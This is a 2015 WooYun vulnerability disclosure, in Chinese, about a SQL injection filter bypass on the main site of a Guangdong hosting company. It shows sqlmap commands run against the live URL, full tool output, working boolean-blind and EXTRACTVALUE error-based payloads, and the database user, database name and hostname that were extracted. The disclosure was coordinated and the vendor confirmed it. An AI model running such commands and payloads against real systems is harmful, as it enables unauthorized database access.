当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144071

漏洞标题:时代互联主站SQL绕过过滤注入

相关厂商:广东时代互联科技有限公司

漏洞作者: 路人甲

提交时间:2015-09-29 15:11

修复时间:2015-11-22 14:32

公开时间:2015-11-22 14:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-29: 细节已通知厂商并且等待厂商处理中
2015-10-08: 厂商已经确认,细节仅向厂商公开
2015-10-18: 细节向核心白帽子及相关领域专家公开
2015-10-28: 细节向普通白帽子公开
2015-11-07: 细节向实习白帽子公开
2015-11-22: 细节向公众公开

简要描述:

跟随大牛神器找到的注入点,继续尝试测试,可以绕过过滤继续注入!~~~

详细说明:

WooYun: 时代互联主站SQL注入漏洞
”ㄚ冷的微笑“找到的注入点,经测试,如果只是level=1,已经没法进行SQL注入了,也就是网站已经修复了
那怎么办呢?
只需要加强参数--level 3即可。

http://www.now.cn/ipm-admin/cusManager.php?IDIPM=55911


不加--level 3测试结果

E:\Sqlmap>sqlmap.py -u "http://www.now.cn/ipm-admin/cusManager.php?IDIPM=55911"
--threads 10
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:03:29
[14:03:29] [INFO] testing connection to the target URL
[14:03:31] [WARNING] unknown web page charset 'none'. Please report by e-mail to
sqlmap-users@lists.sourceforge.net.
[14:03:31] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[14:03:32] [INFO] target URL is stable
[14:03:32] [INFO] testing if GET parameter 'IDIPM' is dynamic
[14:03:35] [WARNING] GET parameter 'IDIPM' does not appear dynamic
[14:03:35] [WARNING] heuristic (basic) test shows that GET parameter 'IDIPM' mig
ht not be injectable
[14:03:35] [INFO] testing for SQL injection on GET parameter 'IDIPM'
[14:03:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:03:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[14:03:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:03:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[14:03:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[14:03:44] [INFO] testing 'MySQL inline queries'
[14:03:46] [WARNING] reflective value(s) found and filtering out
[14:03:46] [INFO] testing 'PostgreSQL inline queries'
[14:03:46] [INFO] heuristics detected web page charset 'ascii'
[14:03:46] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[14:03:47] [INFO] testing 'Oracle inline queries'
[14:03:47] [INFO] testing 'SQLite inline queries'
[14:03:47] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:03:47] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[14:03:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[14:03:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[14:03:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:03:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:03:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[14:03:53] [INFO] testing 'Oracle AND time-based blind'
[14:03:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[14:04:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:04:02] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[14:04:10] [WARNING] GET parameter 'IDIPM' is not injectable
[14:04:10] [CRITICAL] all tested parameters appear to be not injectable. Try to
increase '--level'/'--risk' values to perform more tests. Also, you can try to r
erun by providing either a valid value for option '--string' (or '--regexp')
[14:04:10] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 207 times


添加--level 3测试结果

sqlmap.py -u "http://www.now.cn/ipm-admin/cusManager.php?IDIPM=55911"
--threads 10 --level 3 -p IDIPM --dbms "MySQL" --current-db --current-user --hos
tname
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:32:31
[14:32:31] [INFO] testing connection to the target URL
[14:32:31] [WARNING] unknown web page charset 'none'. Please report by e-mail to
sqlmap-users@lists.sourceforge.net.
[14:32:32] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[14:32:33] [INFO] target URL is stable
[14:32:33] [WARNING] heuristic (basic) test shows that GET parameter 'IDIPM' mig
ht not be injectable
[14:32:33] [INFO] testing for SQL injection on GET parameter 'IDIPM'
[14:32:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:55] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY o
r GROUP BY clause (RLIKE)'
[14:32:56] [INFO] heuristics detected web page charset 'ascii'
[14:32:56] [WARNING] reflective value(s) found and filtering out
[14:32:56] [INFO] GET parameter 'IDIPM' seems to be 'MySQL boolean-based blind -
WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' injectable (with --string="
\u6ce8\u518c\u57df\u540d")
[14:32:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[14:32:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'
[14:32:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'
[14:32:56] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[14:32:56] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:32:56] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[14:32:56] [INFO] GET parameter 'IDIPM' is 'MySQL >= 5.1 error-based - Parameter
replace (EXTRACTVALUE)' injectable
[14:32:56] [INFO] testing 'MySQL inline queries'
[14:32:58] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:32:58] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[14:32:58] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:32:59] [INFO] testing 'MySQL >= 5.0 time-based blind - Parameter replace'
[14:32:59] [INFO] testing 'MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER
BY clauses'
[14:32:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:32:59] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[14:32:59] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[14:33:00] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[14:33:00] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[14:33:01] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[14:33:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:33:02] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns
'
[14:33:02] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[14:33:03] [INFO] testing 'Generic UNION query (random number) - 22 to 40 column
s'
[14:33:04] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
GET parameter 'IDIPM' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 264 HTTP(s) req
uests:
---
Place: GET
Parameter: IDIPM
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: IDIPM=55911 RLIKE (SELECT (CASE WHEN (4515=4515) THEN 55911 ELSE 0x
28 END))
Type: error-based
Title: MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)
Payload: IDIPM=(EXTRACTVALUE(1662,CONCAT(0x5c,0x7165686871,(SELECT (CASE WHE
N (1662=1662) THEN 1 ELSE 0 END)),0x717a6f6d71)))
---
[14:34:13] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.5.18
back-end DBMS: MySQL 5.1
[14:34:13] [INFO] fetching current user
[14:34:13] [INFO] retrieved: nownetcn@10.0.%
current user: 'nownetcn@10.0.%'
[14:34:13] [INFO] fetching current database
[14:34:13] [INFO] retrieved: db_now_net_cn
current database: 'db_now_net_cn'
[14:34:13] [INFO] fetching server hostname
[14:34:14] [INFO] retrieved: mainsite-DB
hostname: 'mainsite-DB'
[14:34:14] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 254 times


1.jpg


2.jpg


后面测试注入不出来,估计还是要进行绕过,就不继续了,交给高手吧!~~

漏洞证明:

2.jpg

修复方案:

继续过滤修复

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-08 14:30

厂商回复:

谢谢你的支持

最新状态:

暂无